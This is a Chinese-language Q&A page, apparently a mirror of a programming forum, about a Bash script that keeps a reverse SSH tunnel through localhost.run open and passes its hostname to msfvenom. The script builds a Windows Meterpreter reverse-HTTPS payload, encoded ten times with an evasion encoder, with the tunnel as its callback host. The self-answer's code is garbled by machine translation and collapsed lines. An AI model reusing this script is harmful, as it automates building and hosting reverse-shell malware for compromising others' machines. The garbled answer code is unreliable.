如何从另一个命令的输出中获取变量并保持命令运行

问题描述 投票:0回答:1

这是我当前的代码。执行 ssh 命令后它挂起。

#!/bin/bash

ssh_output=$(ssh -f -R 80:localhost.run:80 localhost.run 2>&1)

line_23=$(echo "$ssh_output" | sed -n '23s/ .*//p')
echo $line_23 > line_23.txt 
LHOST_value="$line_23"

msfvenom_command="msfvenom -p windows/x64/meterpreter_reverse_https -e x64/zutto_dekiru -i 10 -f raw LHOST=$LHOST_value LPORT=80 HandlerSSLCert=/home/jeremy/Desktop/msf/cert.pem -o Bitch.bin"

gnome-terminal -- bash -c "$msfvenom_command"

我需要它让原来的 ssh 命令仍然运行并单独运行 msfvenom。

variables ssh ssh-tunnel gnome-terminal metasploit
1个回答
0
投票

如果有人想知道的话。我明白了。

#!/bin/bash

ssh_output_file =“ssh_output.txt” ssh -o ServerAliveInterval=60 -R 80:localhost.run:8080 -o ControlMaster=yes -o ControlPath="$HOME/.ssh/control-%r@%h:%p" localhost.run > "$ssh_output_file" 2>&1& 睡5 line_24=$(sed -n '25s/ .*//p' "$ssh_output_file") echo "$line_24" >> 输出.txt rm“$ssh_output_file”

LHOST_value="$line_24"

© www.soinside.com 2019 - 2024. All rights reserved.